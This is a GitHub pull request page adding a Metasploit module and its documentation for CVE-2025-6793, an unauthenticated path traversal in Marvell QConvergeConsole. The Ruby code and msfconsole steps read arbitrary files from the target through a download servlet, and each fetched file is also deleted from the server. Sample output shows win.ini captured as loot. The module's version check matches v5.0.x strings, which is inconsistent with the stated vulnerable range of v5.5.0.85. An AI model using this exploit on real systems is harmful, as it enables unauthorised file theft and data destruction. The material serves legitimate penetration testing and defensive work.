-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Marvell QConvergeConsole Path Traversal (CVE-2025-6793) Module #21322
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from 2 commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
9bfc5b1
Marvell QConvergeConsole Path Traversal (CVE-2025-6793)
h4x-x0r a9a90ff
Update qconvergeconsole_traversal.rb
h4x-x0r cb6f92e
Update modules/auxiliary/gather/qconvergeconsole_traversal.rb
dledda-r7 c8afcce
Update modules/auxiliary/gather/qconvergeconsole_traversal.rb
dledda-r7 4da5e43
Update modules/auxiliary/gather/qconvergeconsole_traversal.rb
dledda-r7 c317aa8
Update modules/auxiliary/gather/qconvergeconsole_traversal.rb
dledda-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
72 changes: 72 additions & 0 deletions
72
documentation/modules/auxiliary/gather/qconvergeconsole_traversal.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,72 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module exploits a path traversal vulnerability in Marvell QConvergeConsole <= v5.5.0.85 (CVE-2025-6793) to read arbitrary files from | ||
| the system. No authentication is required to exploit this issue. | ||
| Note that whatever file is retrieved will be deleted from the server it was fetched from. | ||
|
|
||
| ## Testing | ||
|
|
||
| The software can be obtained from | ||
| [the vendor](https://www.marvell.com/content/dam/marvell/en/drivers/marvell/qcc-gui-management-installer-for-windows--x64--5-5-0-78/Windows_QCC_GUI_64_v5.5.0.78.zip). | ||
|
|
||
| By default, the Apache Tomcat server listens on TCP ports 8080 (HTTP) and 8443 (HTTPS) on all network interfaces and runs in the context of | ||
| NT AUTHORITY\\SYSTEM. | ||
|
|
||
| **Successfully tested on** | ||
|
|
||
| - Marvell QConvergeConsole v5.5.0.78 on Windows 22H2 | ||
| - Marvell QConvergeConsole v5.5.0.81 on Windows 22H2 | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install and run the application | ||
| 2. Start `msfconsole` and run the following commands: | ||
|
|
||
| ``` | ||
| msf > use auxiliary/gather/qconvergeconsole_traversal | ||
| msf auxiliary(gather/qconvergeconsole_traversal) > set RHOSTS <IP> | ||
| msf auxiliary(gather/qconvergeconsole_traversal) > run | ||
| ``` | ||
|
|
||
| This should return the win.ini file from the server. Any files retrieved will be deleted from the server and stored locally as loot. | ||
|
|
||
| ## Options | ||
|
|
||
| ### TARGET_FILE | ||
| The file to be retrieved from the file system. By default, this is win.ini. However, any arbitrary file can be specified. | ||
|
|
||
| Example: win.ini | ||
|
|
||
| ### TARGET_DIR | ||
| Folder where the TARGET_FILE is located. | ||
|
|
||
| Example: C:\Windows | ||
|
|
||
| ## Scenarios | ||
|
|
||
| Running the exploit against v5.0.78 on Windows 22H22 should result in an output similar to the following: | ||
|
|
||
| ``` | ||
| msf auxiliary(gather/qconvergeconsole_traversal) > run | ||
| [*] Running module against 192.168.137.238 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. Vulnerable version detected: v5.0.78 | ||
| [+] File retrieved: C:\Windows\win.ini | ||
| [*] File saved as loot: /home/asdf/.msf4/loot/20260416003715_default_192.168.137.238_qconvergeconsole_558041.txt | ||
| [*] Auxiliary module execution completed | ||
|
|
||
| ``` | ||
|
|
||
| The file will be stored as loot: | ||
|
|
||
| ``` | ||
| msf auxiliary(gather/qconvergeconsole_traversal) > loot | ||
|
|
||
| Loot | ||
| ==== | ||
|
|
||
| host service type name content info path | ||
| ---- ------- ---- ---- ------- ---- ---- | ||
| 192.168.137.238 qconvergeconsole.file win.ini text/plain File retrieved through QConvergeConsole path traversal (CVE-2025-6793). /home/asdf/.msf4/loot/20260416003826_default_192.168.137.238_qconvergeconsole_201403.txt | ||
|
|
||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,131 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Auxiliary | ||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Auxiliary::Report | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Marvell QConvergeConsole Path Traversal (CVE-2025-6793)', | ||
| 'Description' => %q{ | ||
| This module exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole <= v5.5.0.85 to retrieve arbitrary files from the system. No authentication is required to exploit this issue. | ||
| Note that whatever file will be retrieved, will also be deleted from the remote server. | ||
| }, | ||
| 'Author' => [ | ||
| 'Michael Heinzl', # MSF Module | ||
| 'rgod' # Discovery | ||
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'References' => [ | ||
| ['CVE', '2025-6793'], | ||
| ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-450/'] | ||
| ], | ||
| 'DisclosureDate' => '2025-06-27', | ||
| 'DefaultOptions' => { | ||
| 'RPORT' => 8443, | ||
| 'SSL' => true | ||
| }, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [], | ||
| 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('TARGETURI', [true, 'The base path for QConvergeConsole', 'QConvergeConsole']), | ||
| OptString.new('TARGET_FILE', [false, 'The file path to read from the target system.', 'win.ini']), | ||
| OptString.new('TARGET_DIR', [true, 'The folder where the file is located.', 'C:\Windows']) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def check | ||
| # code is obfuscated, retrieve file reference through gwt.Main.nocache.js | ||
| res = send_request_cgi({ | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri( | ||
| target_uri.path, 'com.qlogic.qms.hba.gwt.Main', 'com.qlogic.qms.hba.gwt.Main.nocache.js' | ||
| ) | ||
| }) | ||
|
|
||
| return Exploit::CheckCode::Unknown('No response from server') unless res&.code == 200 | ||
|
|
||
| # e.g., BB025677C3CC9C8B12F0CB2553088424 | ||
| strong_name = res.body.match(/Sb='([A-Fa-f0-9]{32})'/)&.captures&.first | ||
| strong_name ||= res.body.match(/([A-Fa-f0-9]{32})\.cache\.html/)&.captures&.first | ||
|
|
||
| return Exploit::CheckCode::Unknown('Could not determine GWT strong name') unless strong_name | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. maybe
dledda-r7 marked this conversation as resolved.
Outdated
|
||
|
|
||
| vprint_status("GWT strong name: #{strong_name}") | ||
|
|
||
| res2 = send_request_cgi({ | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri( | ||
| target_uri.path, 'com.qlogic.qms.hba.gwt.Main', "#{strong_name}.cache.html" | ||
| ) | ||
| }) | ||
|
|
||
| return Exploit::CheckCode::Unknown('Could not retrieve cache file') unless res2&.code == 200 | ||
|
dledda-r7 marked this conversation as resolved.
Outdated
|
||
|
|
||
| data = res2.body | ||
|
|
||
| # Grab the first occurrence of a v5.0.x version; obfuscated response contains other version identifiers too for other components | ||
| match = data.match(/'v(5\.0\.\d+)'/i) || data.match(/v(5\.0\.\d+)/i) | ||
|
|
||
| return Exploit::CheckCode::Unknown('No version string found') unless match | ||
|
dledda-r7 marked this conversation as resolved.
Outdated
|
||
|
|
||
| version = Rex::Version.new(match[1]) | ||
|
|
||
| vprint_status("Detected version: #{version}") | ||
|
|
||
| if version <= Rex::Version.new('5.0.85') | ||
| return Exploit::CheckCode::Appears("Vulnerable version detected: #{version}") | ||
| end | ||
|
|
||
| Exploit::CheckCode::Detected("QConvergeConsole detected (version #{version})") | ||
|
dledda-r7 marked this conversation as resolved.
Outdated
|
||
| end | ||
|
|
||
| def run | ||
| folder = URI.encode_www_form_component(datastore['TARGET_DIR']) | ||
| file = URI.encode_www_form_component(datastore['TARGET_FILE']) | ||
|
|
||
| uri = normalize_uri( | ||
| target_uri.path, | ||
| 'com.qlogic.qms.hba.gwt.Main', | ||
| 'QLogicDownloadServlet' | ||
| ) | ||
|
|
||
| uri = "#{uri}?folder=#{folder}&file=#{file}" | ||
| vprint_status("Request: #{uri}") | ||
| res = send_request_cgi({ | ||
| 'method' => 'GET', | ||
| 'uri' => uri | ||
| }) | ||
|
dledda-r7 marked this conversation as resolved.
|
||
|
|
||
| fail_with(Failure::UnexpectedReply, 'No response from server') unless res | ||
| fail_with(Failure::UnexpectedReply, "HTTP #{res.code}") unless res.code == 200 | ||
| fail_with(Failure::UnexpectedReply, 'Invalid path or file does not exist (empty body)') if res.body.nil? || res.body.empty? | ||
|
|
||
| print_good("File retrieved: #{File.join(datastore['TARGET_DIR'], datastore['TARGET_FILE'])}") | ||
|
|
||
| path = store_loot('qconvergeconsole.file', 'application/octet-stream', datastore['RHOSTS'], res.body, datastore['TARGET_FILE'], 'File retrieved through QConvergeConsole path traversal (CVE-2025-6793).') | ||
|
h4x-x0r marked this conversation as resolved.
|
||
| print_status("File saved as loot: #{path}") | ||
|
|
||
| report_service( | ||
| host: rhost, | ||
| port: rport, | ||
| proto: 'tcp', | ||
| name: 'https', | ||
| info: 'Marvell QConvergeConsole' | ||
| ) | ||
| end | ||
| end | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.